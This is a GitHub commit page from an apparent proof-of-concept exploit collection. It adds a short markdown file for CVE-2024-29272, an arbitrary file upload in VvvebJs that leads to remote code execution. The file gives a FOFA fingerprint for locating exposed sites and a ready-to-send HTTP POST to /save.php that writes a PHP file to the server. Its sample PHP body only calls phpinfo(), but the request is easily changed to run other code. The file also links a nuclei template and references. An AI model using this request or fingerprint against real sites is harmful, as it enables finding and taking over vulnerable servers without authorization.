Merge branch 'main' of https://github.com/wy876/POC

wy876 · Aug 28, 2024 · f98270a · f98270a
2 parents 6530163 + c2e7289
commit f98270a
Showing 1 changed file with 20 additions and 0 deletions.
diff --git a/VvvebJs/VvvebJs Arbitrary File Upload - RCE (CVE-2024-29272).md b/VvvebJs/VvvebJs Arbitrary File Upload - RCE (CVE-2024-29272).md
@@ -0,0 +1,20 @@
+## VvvebJs < 1.7.5 Arbitrary File Upload - RCE (CVE-2024-29272)
+
+## fofa
+```
+icon_hash="524332373"
+```
+## poc
+```
+POST /save.php HTTP/1.1
+Host: 
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+file=demo%2Flanding%2Findex.php&html=<?php%20phpinfo();%20?>
+```
+## nuclei Template
+https://github.com/projectdiscovery/nuclei-templates/pull/10608/files
+
+## ref
+https://github.com/givanz/VvvebJs/issues/343
+https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/tree/main